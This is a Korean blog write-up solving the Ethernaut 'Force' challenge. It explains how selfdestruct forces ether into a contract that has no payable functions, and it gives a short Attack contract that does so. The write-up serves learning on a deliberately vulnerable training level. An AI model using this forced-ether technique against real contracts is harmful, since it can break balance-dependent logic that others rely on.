새소식

인기 검색어

Write Up/Ethernaut

[Ethernaut] Force

  • -
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

우리 mission은 balance를 0보다 크게 만들라는 뜻이다.

그런데 abi도 없고 직접 접근을 할 수가 없다....

흐음... 구글링을 해보니까 selfdestruct() 함수가 있었다.

selfdestruct(address _address) 함수는 Contract를 제거하고, 이더리움에서 bytecode를 제거하고 _address로 balance를 보내는 키워드이다.

contract Attack{
    Force force;

    constructor(address _address){
        force = Force(_address);
    }

    function attack() public payable {
        selfdestruct(payable(address(force)));
    }
}

 사용은 이렇게 하면 된다.

payable 키워드를 사용하면서 address를 인자로 주면 ether를 보내면 Attack의 Contract는 파괴되고 address의 주소로 ether가 송금된다.

그리고 원하는 금액을 넣어서 attack를 실행시키면 selfdestruct를 통해 Attack Contract를 없어지고 해당 ether는 Force Contract로 들어가는 것을 확인할 수 있다.

 

반응형

'Write Up > Ethernaut' 카테고리의 다른 글

[Ethernaut] King  (0) 2023.02.07
[Ethernaut] Vault  (0) 2023.02.03
[Ethernaut] Delegation  (0) 2023.02.01
[Ethernaut] Token  (0) 2023.02.01
[Ethernaut] Preservation  (0) 2023.02.01
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.